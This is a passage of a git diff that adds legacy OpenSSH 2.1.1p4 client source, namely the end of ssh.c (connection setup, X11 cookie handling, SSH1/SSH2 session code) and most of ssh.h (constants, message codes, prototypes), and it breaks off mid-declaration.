read_config_file(buf, host, &options); + + /* Read systemwide configuration file. */ + read_config_file(HOST_CONFIG_FILE, host, &options); + + /* Fill configuration defaults. */ + fill_default_options(&options); + + /* reinit */ + log_init(av[0], options.log_level, SYSLOG_FACILITY_USER, 0); + + /* check if RSA support exists */ + if ((options.protocol & SSH_PROTO_1) && + rsa_alive() == 0) { + log("%s: no RSA support in libssl and libcrypto. See ssl(8).", + __progname); + log("Disabling protocol version 1"); + options.protocol &= ~ (SSH_PROTO_1|SSH_PROTO_1_PREFERRED); + } + if (! options.protocol & (SSH_PROTO_1|SSH_PROTO_2)) { + fprintf(stderr, "%s: No protocol version available.\n", + __progname); + exit(1); + } + + if (options.user == NULL) + options.user = xstrdup(pw->pw_name); + + if (options.hostname != NULL) + host = options.hostname; + + /* Find canonic host name. */ + if (strchr(host, '.') == 0) { + struct addrinfo hints; + struct addrinfo *ai = NULL; + int errgai; + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_flags = AI_CANONNAME; + hints.ai_socktype = SOCK_STREAM; + errgai = getaddrinfo(host, NULL, &hints, &ai); + if (errgai == 0) { + if (ai->ai_canonname != NULL) + host = xstrdup(ai->ai_canonname); + freeaddrinfo(ai); + } + } + /* Disable rhosts authentication if not running as root. */ + if (original_effective_uid != 0 || !options.use_privileged_port) { + options.rhosts_authentication = 0; + options.rhosts_rsa_authentication = 0; + } + /* + * If using rsh has been selected, exec it now (without trying + * anything else). Note that we must release privileges first. + */ + if (options.use_rsh) { + /* + * Restore our superuser privileges. This must be done + * before permanently setting the uid. + */ + restore_uid(); + + /* Switch to the original uid permanently. */ + permanently_set_uid(original_real_uid); + + /* Execute rsh. */ + rsh_connect(host, options.user, &command); + fatal("rsh_connect returned"); + } + /* Restore our superuser privileges. */ + restore_uid(); + + /* + * Open a connection to the remote host. This needs root privileges + * if rhosts_{rsa_}authentication is enabled. + */ + + ok = ssh_connect(host, &hostaddr, options.port, + options.connection_attempts, + !options.rhosts_authentication && + !options.rhosts_rsa_authentication, + original_real_uid, + options.proxy_command); + + /* + * If we successfully made the connection, load the host private key + * in case we will need it later for combined rsa-rhosts + * authentication. This must be done before releasing extra + * privileges, because the file is only readable by root. + */ + if (ok && (options.protocol & SSH_PROTO_1)) { + Key k; + host_private_key = RSA_new(); + k.type = KEY_RSA; + k.rsa = host_private_key; + if (load_private_key(HOST_KEY_FILE, "", &k, NULL)) + host_private_key_loaded = 1; + } + /* + * Get rid of any extra privileges that we may have. We will no + * longer need them. Also, extra privileges could make it very hard + * to read identity files and other non-world-readable files from the + * user's home directory if it happens to be on a NFS volume where + * root is mapped to nobody. + */ + + /* + * Note that some legacy systems need to postpone the following call + * to permanently_set_uid() until the private hostkey is destroyed + * with RSA_free(). Otherwise the calling user could ptrace() the + * process, read the private hostkey and impersonate the host. + * OpenBSD does not allow ptracing of setuid processes. + */ + permanently_set_uid(original_real_uid); + + /* + * Now that we are back to our own permissions, create ~/.ssh + * directory if it doesn\'t already exist. + */ + snprintf(buf, sizeof buf, "%.100s/%.100s", pw->pw_dir, SSH_USER_DIR); + if (stat(buf, &st) < 0) + if (mkdir(buf, 0700) < 0) + error("Could not create directory '%.200s'.", buf); + + /* Check if the connection failed, and try "rsh" if appropriate. */ + if (!ok) { + if (options.port != 0) + log("Secure connection to %.100s on port %hu refused%.100s.", + host, options.port, + options.fallback_to_rsh ? "; reverting to insecure method" : ""); + else + log("Secure connection to %.100s refused%.100s.", host, + options.fallback_to_rsh ? "; reverting to insecure method" : ""); + + if (options.fallback_to_rsh) { + rsh_connect(host, options.user, &command); + fatal("rsh_connect returned"); + } + exit(1); + } + /* Expand ~ in options.identity_files. */ + /* XXX mem-leaks */ + for (i = 0; i < options.num_identity_files; i++) + options.identity_files[i] = + tilde_expand_filename(options.identity_files[i], original_real_uid); + for (i = 0; i < options.num_identity_files2; i++) + options.identity_files2[i] = + tilde_expand_filename(options.identity_files2[i], original_real_uid); + /* Expand ~ in known host file names. */ + options.system_hostfile = tilde_expand_filename(options.system_hostfile, + original_real_uid); + options.user_hostfile = tilde_expand_filename(options.user_hostfile, + original_real_uid); + options.system_hostfile2 = tilde_expand_filename(options.system_hostfile2, + original_real_uid); + options.user_hostfile2 = tilde_expand_filename(options.user_hostfile2, + original_real_uid); + + /* Log into the remote system. This never returns if the login fails. */ + ssh_login(host_private_key_loaded, host_private_key, + host, (struct sockaddr *)&hostaddr, original_real_uid); + + /* We no longer need the host private key. Clear it now. */ + if (host_private_key_loaded) + RSA_free(host_private_key); /* Destroys contents safely */ + + exit_status = compat20 ? ssh_session2() : ssh_session(); + packet_close(); + return exit_status; +} + +void +x11_get_proto(char *proto, int proto_len, char *data, int data_len) +{ + char line[512]; + FILE *f; + int got_data = 0, i; + + if (options.xauth_location) { + /* Try to get Xauthority information for the display. */ + snprintf(line, sizeof line, "%.100s list %.200s 2>/dev/null", + options.xauth_location, getenv("DISPLAY")); + f = popen(line, "r"); + if (f && fgets(line, sizeof(line), f) && + sscanf(line, "%*s %s %s", proto, data) == 2) + got_data = 1; + if (f) + pclose(f); + } + /* + * If we didn't get authentication data, just make up some + * data. The forwarding code will check the validity of the + * response anyway, and substitute this data. The X11 + * server, however, will ignore this fake data and use + * whatever authentication mechanisms it was using otherwise + * for the local connection. + */ + if (!got_data) { + u_int32_t rand = 0; + + strlcpy(proto, "MIT-MAGIC-COOKIE-1", proto_len); + for (i = 0; i < 16; i++) { + if (i % 4 == 0) + rand = arc4random(); + snprintf(data + 2 * i, data_len - 2 * i, "%02x", rand & 0xff); + rand >>= 8; + } + } +} + +int +ssh_session(void) +{ + int type; + int i; + int plen; + int interactive = 0; + int have_tty = 0; + struct winsize ws; + int authfd; + char *cp; + + /* Enable compression if requested. */ + if (options.compression) { + debug("Requesting compression at level %d.", options.compression_level); + + if (options.compression_level < 1 || options.compression_level > 9) + fatal("Compression level must be from 1 (fast) to 9 (slow, best)."); + + /* Send the request. */ + packet_start(SSH_CMSG_REQUEST_COMPRESSION); + packet_put_int(options.compression_level); + packet_send(); + packet_write_wait(); + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) + packet_start_compression(options.compression_level); + else if (type == SSH_SMSG_FAILURE) + log("Warning: Remote host refused compression."); + else + packet_disconnect("Protocol error waiting for compression response."); + } + /* Allocate a pseudo tty if appropriate. */ + if (tty_flag) { + debug("Requesting pty."); + + /* Start the packet. */ + packet_start(SSH_CMSG_REQUEST_PTY); + + /* Store TERM in the packet. There is no limit on the + length of the string. */ + cp = getenv("TERM"); + if (!cp) + cp = ""; + packet_put_string(cp, strlen(cp)); + + /* Store window size in the packet. */ + if (ioctl(fileno(stdin), TIOCGWINSZ, &ws) < 0) + memset(&ws, 0, sizeof(ws)); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_xpixel); + packet_put_int(ws.ws_ypixel); + + /* Store tty modes in the packet. */ + tty_make_modes(fileno(stdin)); + + /* Send the packet, and wait for it to leave. */ + packet_send(); + packet_write_wait(); + + /* Read response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + interactive = 1; + have_tty = 1; + } else if (type == SSH_SMSG_FAILURE) + log("Warning: Remote host failed or refused to allocate a pseudo tty."); + else + packet_disconnect("Protocol error waiting for pty request response."); + } + /* Request X11 forwarding if enabled and DISPLAY is set. */ + if (options.forward_x11 && getenv("DISPLAY") != NULL) { + char proto[512], data[512]; + /* Get reasonable local authentication information. */ + x11_get_proto(proto, sizeof proto, data, sizeof data); + /* Request forwarding with authentication spoofing. */ + debug("Requesting X11 forwarding with authentication spoofing."); + x11_request_forwarding_with_spoofing(0, proto, data); + + /* Read response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + interactive = 1; + } else if (type == SSH_SMSG_FAILURE) { + log("Warning: Remote host denied X11 forwarding."); + } else { + packet_disconnect("Protocol error waiting for X11 forwarding"); + } + } + /* Tell the packet module whether this is an interactive session. */ + packet_set_interactive(interactive, options.keepalives); + + /* Clear agent forwarding if we don\'t have an agent. */ + authfd = ssh_get_authentication_socket(); + if (authfd < 0) + options.forward_agent = 0; + else + ssh_close_authentication_socket(authfd); + + /* Request authentication agent forwarding if appropriate. */ + if (options.forward_agent) { + debug("Requesting authentication agent forwarding."); + auth_request_forwarding(); + + /* Read response from the server. */ + type = packet_read(&plen); + packet_integrity_check(plen, 0, type); + if (type != SSH_SMSG_SUCCESS) + log("Warning: Remote host denied authentication agent forwarding."); + } + /* Initiate local TCP/IP port forwardings. */ + for (i = 0; i < options.num_local_forwards; i++) { + debug("Connections to local port %d forwarded to remote address %.200s:%d", + options.local_forwards[i].port, + options.local_forwards[i].host, + options.local_forwards[i].host_port); + channel_request_local_forwarding(options.local_forwards[i].port, + options.local_forwards[i].host, + options.local_forwards[i].host_port, + options.gateway_ports); + } + + /* Initiate remote TCP/IP port forwardings. */ + for (i = 0; i < options.num_remote_forwards; i++) { + debug("Connections to remote port %d forwarded to local address %.200s:%d", + options.remote_forwards[i].port, + options.remote_forwards[i].host, + options.remote_forwards[i].host_port); + channel_request_remote_forwarding(options.remote_forwards[i].port, + options.remote_forwards[i].host, + options.remote_forwards[i].host_port); + } + + /* If requested, let ssh continue in the background. */ + if (fork_after_authentication_flag) + if (daemon(1, 1) < 0) + fatal("daemon() failed: %.200s", strerror(errno)); + + /* + * If a command was specified on the command line, execute the + * command now. Otherwise request the server to start a shell. + */ + if (buffer_len(&command) > 0) { + int len = buffer_len(&command); + if (len > 900) + len = 900; + debug("Sending command: %.*s", len, buffer_ptr(&command)); + packet_start(SSH_CMSG_EXEC_CMD); + packet_put_string(buffer_ptr(&command), buffer_len(&command)); + packet_send(); + packet_write_wait(); + } else { + debug("Requesting shell."); + packet_start(SSH_CMSG_EXEC_SHELL); + packet_send(); + packet_write_wait(); + } + + /* Enter the interactive session. */ + return client_loop(have_tty, tty_flag ? options.escape_char : -1); +} + +void +init_local_fwd(void) +{ + int i; + /* Initiate local TCP/IP port forwardings. */ + for (i = 0; i < options.num_local_forwards; i++) { + debug("Connections to local port %d forwarded to remote address %.200s:%d", + options.local_forwards[i].port, + options.local_forwards[i].host, + options.local_forwards[i].host_port); + channel_request_local_forwarding(options.local_forwards[i].port, + options.local_forwards[i].host, + options.local_forwards[i].host_port, + options.gateway_ports); + } +} + +extern void client_set_session_ident(int id); + +void +client_init(int id, void *arg) +{ + int len; + debug("client_init id %d arg %d", id, (int)arg); + + if (no_shell_flag) + goto done; + + if (tty_flag) { + struct winsize ws; + char *cp; + cp = getenv("TERM"); + if (!cp) + cp = ""; + /* Store window size in the packet. */ + if (ioctl(fileno(stdin), TIOCGWINSZ, &ws) < 0) + memset(&ws, 0, sizeof(ws)); + + channel_request_start(id, "pty-req", 0); + packet_put_cstring(cp); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_xpixel); + packet_put_int(ws.ws_ypixel); + packet_put_cstring(""); /* XXX: encode terminal modes */ + packet_send(); + /* XXX wait for reply */ + } + if (options.forward_x11 && + getenv("DISPLAY") != NULL) { + char proto[512], data[512]; + /* Get reasonable local authentication information. */ + x11_get_proto(proto, sizeof proto, data, sizeof data); + /* Request forwarding with authentication spoofing. */ + debug("Requesting X11 forwarding with authentication spoofing."); + x11_request_forwarding_with_spoofing(id, proto, data); + /* XXX wait for reply */ + } + + len = buffer_len(&command); + if (len > 0) { + if (len > 900) + len = 900; + debug("Sending command: %.*s", len, buffer_ptr(&command)); + channel_request_start(id, "exec", 0); + packet_put_string(buffer_ptr(&command), len); + packet_send(); + } else { + channel_request(id, "shell", 0); + } + /* channel_callback(id, SSH2_MSG_OPEN_CONFIGMATION, client_init, 0); */ +done: + /* register different callback, etc. XXX */ + client_set_session_ident(id); +} + +int +ssh_session2(void) +{ + int window, packetmax, id; + int in = dup(STDIN_FILENO); + int out = dup(STDOUT_FILENO); + int err = dup(STDERR_FILENO); + + if (in < 0 || out < 0 || err < 0) + fatal("dump in/out/err failed"); + + /* should be pre-session */ + init_local_fwd(); + + window = 32*1024; + if (tty_flag) { + packetmax = window/8; + } else { + window *= 2; + packetmax = window/2; + } + + id = channel_new( + "session", SSH_CHANNEL_OPENING, in, out, err, + window, packetmax, CHAN_EXTENDED_WRITE, xstrdup("client-session")); + + + channel_open(id); + channel_register_callback(id, SSH2_MSG_CHANNEL_OPEN_CONFIRMATION, client_init, (void *)0); + + return client_loop(tty_flag, tty_flag ? options.escape_char : -1); +} diff --git a/other/openssh-2.1.1p4/ssh.h b/other/openssh-2.1.1p4/ssh.h new file mode 100644 index 0000000..f3f049f --- /dev/null +++ b/other/openssh-2.1.1p4/ssh.h @@ -0,0 +1,560 @@ +/* + * + * ssh.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 17 17:09:37 1995 ylo + * + * Generic header file for ssh. + * + */ + +/* RCSID("$OpenBSD: ssh.h,v 1.48 2000/07/13 22:53:21 provos Exp $"); */ + +#ifndef SSH_H +#define SSH_H + +#include /* For struct sockaddr_in */ +#include /* For struct pw */ +#include /* For va_list */ +#include /* For struct sockaddr_storage */ +#include "fake-socket.h" /* For struct sockaddr_storage */ +#ifdef HAVE_SYS_SELECT_H +# include +#endif +#include "rsa.h" +#include "cipher.h" + +/* + * XXX + * The default cipher used if IDEA is not supported by the remote host. It is + * recommended that this be one of the mandatory ciphers (DES, 3DES), though + * that is not required. + */ +#define SSH_FALLBACK_CIPHER SSH_CIPHER_3DES + +/* Cipher used for encrypting authentication files. */ +#define SSH_AUTHFILE_CIPHER SSH_CIPHER_3DES + +/* Default port number. */ +#define SSH_DEFAULT_PORT 22 + +/* Maximum number of TCP/IP ports forwarded per direction. */ +#define SSH_MAX_FORWARDS_PER_DIRECTION 100 + +/* + * Maximum number of RSA authentication identity files that can be specified + * in configuration files or on the command line. + */ +#define SSH_MAX_IDENTITY_FILES 100 + +/* + * Major protocol version. Different version indicates major incompatiblity + * that prevents communication. + * + * Minor protocol version. Different version indicates minor incompatibility + * that does not prevent interoperation. + */ +#define PROTOCOL_MAJOR_1 1 +#define PROTOCOL_MINOR_1 5 + +/* We support both SSH1 and SSH2 */ +#define PROTOCOL_MAJOR_2 2 +#define PROTOCOL_MINOR_2 0 + +/* + * Name for the service. The port named by this service overrides the + * default port if present. + */ +#define SSH_SERVICE_NAME "ssh" + +#if defined(USE_PAM) && !defined(SSHD_PAM_SERVICE) +# define SSHD_PAM_SERVICE "sshd" +#endif + +#ifndef ETCDIR +#define ETCDIR "/etc" +#endif /* ETCDIR */ + +#ifndef PIDDIR +#define PIDDIR "/var/run" +#endif /* PIDDIR */ + +/* + * System-wide file containing host keys of known hosts. This file should be + * world-readable. + */ +#define SSH_SYSTEM_HOSTFILE ETCDIR "/ssh_known_hosts" +#define SSH_SYSTEM_HOSTFILE2 ETCDIR "/ssh_known_hosts2" + +/* + * Of these, ssh_host_key must be readable only by root, whereas ssh_config + * should be world-readable. + */ +#define HOST_KEY_FILE ETCDIR "/ssh_host_key" +#define SERVER_CONFIG_FILE ETCDIR "/sshd_config" +#define HOST_CONFIG_FILE ETCDIR "/ssh_config" +#define HOST_DSA_KEY_FILE ETCDIR "/ssh_host_dsa_key" + +#ifndef SSH_PROGRAM +#define SSH_PROGRAM "/usr/bin/ssh" +#endif /* SSH_PROGRAM */ + +#ifndef LOGIN_PROGRAM +#define LOGIN_PROGRAM "/usr/bin/login" +#endif /* LOGIN_PROGRAM */ + +#ifndef ASKPASS_PROGRAM +#define ASKPASS_PROGRAM "/usr/lib/ssh/ssh-askpass" +#endif /* ASKPASS_PROGRAM */ + +/* + * The process id of the daemon listening for connections is saved here to + * make it easier to kill the correct daemon when necessary. + */ +#define SSH_DAEMON_PID_FILE PIDDIR "/sshd.pid" + +/* + * The directory in user\'s home directory in which the files reside. The + * directory should be world-readable (though not all files are). + */ +#define SSH_USER_DIR ".ssh" + +/* + * Relevant only when using builtin PRNG. + */ +#ifndef SSH_PRNG_SEED_FILE +# define SSH_PRNG_SEED_FILE SSH_USER_DIR"/prng_seed" +#endif /* SSH_PRNG_SEED_FILE */ +#ifndef SSH_PRNG_COMMAND_FILE +# define SSH_PRNG_COMMAND_FILE ETCDIR "/ssh_prng_cmds" +#endif /* SSH_PRNG_COMMAND_FILE */ + +/* + * Per-user file containing host keys of known hosts. This file need not be + * readable by anyone except the user him/herself, though this does not + * contain anything particularly secret. + */ +#define SSH_USER_HOSTFILE "~/.ssh/known_hosts" +#define SSH_USER_HOSTFILE2 "~/.ssh/known_hosts2" + +/* + * Name of the default file containing client-side authentication key. This + * file should only be readable by the user him/herself. + */ +#define SSH_CLIENT_IDENTITY ".ssh/identity" +#define SSH_CLIENT_ID_DSA ".ssh/id_dsa" + +/* + * Configuration file in user\'s home directory. This file need not be + * readable by anyone but the user him/herself, but does not contain anything + * particularly secret. If the user\'s home directory resides on an NFS + * volume where root is mapped to nobody, this may need to be world-readable. + */ +#define SSH_USER_CONFFILE ".ssh/config" + +/* + * File containing a list of those rsa keys that permit logging in as this + * user. This file need not be readable by anyone but the user him/herself, + * but does not contain anything particularly secret. If the user\'s home + * directory resides on an NFS volume where root is mapped to nobody, this + * may need to be world-readable. (This file is read by the daemon which is + * running as root.) + */ +#define SSH_USER_PERMITTED_KEYS ".ssh/authorized_keys" +#define SSH_USER_PERMITTED_KEYS2 ".ssh/authorized_keys2" + +/* + * Per-user and system-wide ssh "rc" files. These files are executed with + * /bin/sh before starting the shell or command if they exist. They will be + * passed "proto cookie" as arguments if X11 forwarding with spoofing is in + * use. xauth will be run if neither of these exists. + */ +#define SSH_USER_RC ".ssh/rc" +#define SSH_SYSTEM_RC ETCDIR "/sshrc" + +/* + * Ssh-only version of /etc/hosts.equiv. Additionally, the daemon may use + * ~/.rhosts and /etc/hosts.equiv if rhosts authentication is enabled. + */ +#define SSH_HOSTS_EQUIV ETCDIR "/shosts.equiv" + +/* + * Name of the environment variable containing the pathname of the + * authentication socket. + */ +#define SSH_AUTHSOCKET_ENV_NAME "SSH_AUTH_SOCK" + +/* + * Name of the environment variable containing the pathname of the + * authentication socket. + */ +#define SSH_AGENTPID_ENV_NAME "SSH_AGENT_PID" + +/* + * Default path to ssh-askpass used by ssh-add, + * environment variable for overwriting the default location + */ +#ifndef SSH_ASKPASS_DEFAULT +# define SSH_ASKPASS_DEFAULT "/usr/X11R6/bin/ssh-askpass" +#endif +#define SSH_ASKPASS_ENV "SSH_ASKPASS" + +/* + * Force host key length and server key length to differ by at least this + * many bits. This is to make double encryption with rsaref work. + */ +#define SSH_KEY_BITS_RESERVED 128 + +/* + * Length of the session key in bytes. (Specified as 256 bits in the + * protocol.) + */ +#define SSH_SESSION_KEY_LENGTH 32 + +/* Name of Kerberos service for SSH to use. */ +#define KRB4_SERVICE_NAME "rcmd" + +/* + * Authentication methods. New types can be added, but old types should not + * be removed for compatibility. The maximum allowed value is 31. + */ +#define SSH_AUTH_RHOSTS 1 +#define SSH_AUTH_RSA 2 +#define SSH_AUTH_PASSWORD 3 +#define SSH_AUTH_RHOSTS_RSA 4 +#define SSH_AUTH_TIS 5 +#define SSH_AUTH_KERBEROS 6 +#define SSH_PASS_KERBEROS_TGT 7 + /* 8 to 15 are reserved */ +#define SSH_PASS_AFS_TOKEN 21 + +/* Protocol flags. These are bit masks. */ +#define SSH_PROTOFLAG_SCREEN_NUMBER 1 /* X11 forwarding includes screen */ +#define SSH_PROTOFLAG_HOST_IN_FWD_OPEN 2 /* forwarding opens contain host */ + +/* + * Definition of message types. New values can be added, but old values + * should not be removed or without careful consideration of the consequences + * for compatibility. The maximum value is 254; value 255 is reserved for + * future extension. + */ +/* Message name */ /* msg code */ /* arguments */ +#define SSH_MSG_NONE 0 /* no message */ +#define SSH_MSG_DISCONNECT 1 /* cause (string) */ +#define SSH_SMSG_PUBLIC_KEY 2 /* ck,msk,srvk,hostk */ +#define SSH_CMSG_SESSION_KEY 3 /* key (BIGNUM) */ +#define SSH_CMSG_USER 4 /* user (string) */ +#define SSH_CMSG_AUTH_RHOSTS 5 /* user (string) */ +#define SSH_CMSG_AUTH_RSA 6 /* modulus (BIGNUM) */ +#define SSH_SMSG_AUTH_RSA_CHALLENGE 7 /* int (BIGNUM) */ +#define SSH_CMSG_AUTH_RSA_RESPONSE 8 /* int (BIGNUM) */ +#define SSH_CMSG_AUTH_PASSWORD 9 /* pass (string) */ +#define SSH_CMSG_REQUEST_PTY 10 /* TERM, tty modes */ +#define SSH_CMSG_WINDOW_SIZE 11 /* row,col,xpix,ypix */ +#define SSH_CMSG_EXEC_SHELL 12 /* */ +#define SSH_CMSG_EXEC_CMD 13 /* cmd (string) */ +#define SSH_SMSG_SUCCESS 14 /* */ +#define SSH_SMSG_FAILURE 15 /* */ +#define SSH_CMSG_STDIN_DATA 16 /* data (string) */ +#define SSH_SMSG_STDOUT_DATA 17 /* data (string) */ +#define SSH_SMSG_STDERR_DATA 18 /* data (string) */ +#define SSH_CMSG_EOF 19 /* */ +#define SSH_SMSG_EXITSTATUS 20 /* status (int) */ +#define SSH_MSG_CHANNEL_OPEN_CONFIRMATION 21 /* channel (int) */ +#define SSH_MSG_CHANNEL_OPEN_FAILURE 22 /* channel (int) */ +#define SSH_MSG_CHANNEL_DATA 23 /* ch,data (int,str) */ +#define SSH_MSG_CHANNEL_CLOSE 24 /* channel (int) */ +#define SSH_MSG_CHANNEL_CLOSE_CONFIRMATION 25 /* channel (int) */ +/* SSH_CMSG_X11_REQUEST_FORWARDING 26 OBSOLETE */ +#define SSH_SMSG_X11_OPEN 27 /* channel (int) */ +#define SSH_CMSG_PORT_FORWARD_REQUEST 28 /* p,host,hp (i,s,i) */ +#define SSH_MSG_PORT_OPEN 29 /* ch,h,p (i,s,i) */ +#define SSH_CMSG_AGENT_REQUEST_FORWARDING 30 /* */ +#define SSH_SMSG_AGENT_OPEN 31 /* port (int) */ +#define SSH_MSG_IGNORE 32 /* string */ +#define SSH_CMSG_EXIT_CONFIRMATION 33 /* */ +#define SSH_CMSG_X11_REQUEST_FORWARDING 34 /* proto,data (s,s) */ +#define SSH_CMSG_AUTH_RHOSTS_RSA 35 /* user,mod (s,mpi) */ +#define SSH_MSG_DEBUG 36 /* string */ +#define SSH_CMSG_REQUEST_COMPRESSION 37 /* level 1-9 (int) */ +#define SSH_CMSG_MAX_PACKET_SIZE 38 /* size 4k-1024k (int) */ +#define SSH_CMSG_AUTH_TIS 39 /* we use this for s/key */ +#define SSH_SMSG_AUTH_TIS_CHALLENGE 40 /* challenge (string) */ +#define SSH_CMSG_AUTH_TIS_RESPONSE 41 /* response (string) */ +#define SSH_CMSG_AUTH_KERBEROS 42 /* (KTEXT) */ +#define SSH_SMSG_AUTH_KERBEROS_RESPONSE 43 /* (KTEXT) */ +#define SSH_CMSG_HAVE_KERBEROS_TGT 44 /* credentials (s) */ +#define SSH_CMSG_HAVE_AFS_TOKEN 65 /* token (s) */ + +/*------------ definitions for login.c -------------*/ + +/* + * Returns the time when the user last logged in. Returns 0 if the + * information is not available. This must be called before record_login. + * The host from which the user logged in is stored in buf. + */ +unsigned long +get_last_login_time(uid_t uid, const char *logname, + char *buf, unsigned int bufsize); + +/* + * Records that the user has logged in. This does many things normally done + * by login(1). + */ +void +record_login(pid_t pid, const char *ttyname, const char *user, uid_t uid, + const char *host, struct sockaddr *addr); + +/* + * Records that the user has logged out. This does many thigs normally done + * by login(1) or init. + */ +void record_logout(pid_t pid, const char *ttyname); + +/*------------ definitions for sshconnect.c ----------*/ + +/* + * Opens a TCP/IP connection to the remote server on the given host. If port + * is 0, the default port will be used. If anonymous is zero, a privileged + * port will be allocated to make the connection. This requires super-user + * privileges if anonymous is false. Connection_attempts specifies the + * maximum number of tries, one per second. This returns true on success, + * and zero on failure. If the connection is successful, this calls + * packet_set_connection for the connection. + */ +int +ssh_connect(const char *host, struct sockaddr_storage * hostaddr, + u_short port, int connection_attempts, + int anonymous, uid_t original_real_uid, + const char *proxy_command); + +/* + * Starts a dialog with the server, and authenticates the current user on the + * server. This does not need any extra privileges. The basic connection to + * the server must already have been established before this is called. If + * login fails, this function prints an error and never returns. This + * initializes the random state, and leaves it initialized (it will also have + * references from the packet module). + */ + +void +ssh_login(int host_key_valid, RSA * host_key, const char *host, + struct sockaddr * hostaddr, uid_t original_real_uid); + +/*------------ Definitions for various authentication methods. -------*/ + +/* + * Tries to authenticate the user using the .rhosts file. Returns true if + * authentication succeeds. If ignore_rhosts is non-zero, this will not + * consider .rhosts and .shosts (/etc/hosts.equiv will still be used). + */ +int auth_rhosts(struct passwd * pw, const char *client_user); + +/* + * Tries to authenticate the user using the .rhosts file and the host using + * its host key. Returns true if authentication succeeds. + */ +int +auth_rhosts_rsa(struct passwd * pw, const char *client_user, RSA* client_host_key); + +/* + * Tries to authenticate the user using password. Returns true if + * authentication succeeds. + */ +int auth_password(struct passwd * pw, const char *password); + +/* + * Performs the RSA authentication dialog with the client. This returns 0 if + * the client could not be authenticated, and 1 if authentication was + * successful. This may exit if there is a serious protocol violation. + */ +int auth_rsa(struct passwd * pw, BIGNUM * client_n); + +/* + * Parses an RSA key (number of bits, e, n) from a string. Moves the pointer + * over the key. Skips any whitespace at the beginning and at end. + */ +int auth_rsa_read_key(char **cpp, unsigned int *bitsp, BIGNUM * e, BIGNUM * n); + +/* + * Returns the name of the machine at the other end of the socket. The + * returned string should be freed by the caller. + */ +char *get_remote_hostname(int socket); + +/* + * Return the canonical name of the host in the other side of the current + * connection (as returned by packet_get_connection). The host name is + * cached, so it is efficient to call this several times. + */ +const char *get_canonical_hostname(void); + +/* + * Returns the remote IP address as an ascii string. The value need not be + * freed by the caller. + */ +const char *get_remote_ipaddr(void); + +/* Returns the port number of the peer of the socket. */ +int get_peer_port(int sock); + +/* Returns the port number of the remote/local host. */ +int get_remote_port(void); +int get_local_port(void); + + +/* + * Performs the RSA authentication challenge-response dialog with the client, + * and returns true (non-zero) if the client gave the correct answer to our + * challenge; returns zero if the client gives a wrong answer. + */ +int auth_rsa_challenge_dialog(RSA *pk); + +/* + * Reads a passphrase from /dev/tty with echo turned off. Returns the + * passphrase (allocated with xmalloc). Exits if EOF is encountered. If + * from_stdin is true, the passphrase will be read from stdin instead. + */ +char *read_passphrase(const char *prompt, int from_stdin); + + +/*------------ Definitions for logging. -----------------------*/ + +/* Supported syslog facilities and levels. */ +typedef enum { + SYSLOG_FACILITY_DAEMON, + SYSLOG_FACILITY_USER, + SYSLOG_FACILITY_AUTH, + SYSLOG_FACILITY_LOCAL0, + SYSLOG_FACILITY_LOCAL1, + SYSLOG_FACILITY_LOCAL2, + SYSLOG_FACILITY_LOCAL3, + SYSLOG_FACILITY_LOCAL4, + SYSLOG_FACILITY_LOCAL5, + SYSLOG_FACILITY_LOCAL6, + SYSLOG_FACILITY_LOCAL7 +} SyslogFacility; + +typedef enum { + SYSLOG_LEVEL_QUIET, + SYSLOG_LEVEL_FATAL, + SYSLOG_LEVEL_ERROR, + SYSLOG_LEVEL_INFO, + SYSLOG_LEVEL_VERBOSE, + SYSLOG_LEVEL_DEBUG +} LogLevel; +/* Initializes logging. */ +void log_init(char *av0, LogLevel level, SyslogFacility facility, int on_stderr); + +/* Logging implementation, depending on server or client */ +void do_log(LogLevel level, const char *fmt, va_list args); + +/* name to facility/level */ +SyslogFacility log_facility_number(char *name); +LogLevel log_level_number(char *name); + +/* Output a message to syslog or stderr */ +void fatal(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void error(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void log(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void verbose(const char *fmt,...) __attribute__((format(printf, 1, 2))); +void debug(const char *fmt,...) __attribute__((format(printf, 1, 2))); + +/* same as fatal() but w/o logging */ +void fatal_cleanup(void); + +/* + * Registers a cleanup function to be called by fatal()/fatal_cleanup() + * before exiting. It is permissible to call fatal_remove_cleanup for the + * function itself from the function. + */ +void fatal_add_cleanup(void (*proc) (void *context), void *context); + +/* Removes a cleanup function to be called at fatal(). */ +void fatal_remove_cleanup(void (*proc) (void *context), void *context); + +/* ---- misc */ + +/* + * Expands tildes in the file name. Returns data allocated by xmalloc. + * Warning: this calls getpw*. + */ +char *tilde_expand_filename(const char *filename, uid_t my_uid); + +/* remove newline at end of string */ +char *chop(char *s); + +/* return next token in configuration line */ +char *strdelim(char **s); + +/* set filedescriptor to non-blocking */ +void set_nonblock(int fd); + +/* + * Performs the interactive session. This handles data transmission between + * the client and the program. Note that the notion of stdin, stdout, and + * stderr in this function is sort of reversed: this function writes to stdin + * (of the child program), and reads from stdout and stderr (of the child + * program). + */ +void server_loop(pid_t pid, int fdin, int fdout, int fderr); +void server_loop2(void); + +/* Client side main loop for the interactive session. */ +int client_loop(int have_pty, int escape_char); + +/* Linked list of custom environment strings (see auth-rsa.c). */ +struct envstring { + struct envstring *next; + char *s; +}; + +/* + * Ensure all of data on socket comes through. f==read || f==write + */ +ssize_t atomicio(ssize_t (*f)(), int fd, void *s, size_t n); + +#ifdef KRB4 +#include +/* + * Performs Kerberos v4 mutual authentication with the client. This returns 0 + * if the client could not be authenticated, and 1 if authentication was + * successful. This may exit if there is a serious protocol violation. + */ +int auth_krb4(const char *server_user, KTEXT auth, char **client); +int krb4_init(uid_t uid); +void krb4_cleanup_proc(void *ignore); +int auth_krb4_password(struct passwd * pw, const char *password); + +#ifdef AFS +#include + +/* Accept passed Kerberos v4 ticket-granting ticket and AFS tokens. */ +int auth_kerberos_tgt(struct passwd * pw, const char *string); +int auth_afs_token(struct passwd * pw, const char *token_string); + +int creds_to_radix(CREDENTIALS * creds, unsigned char 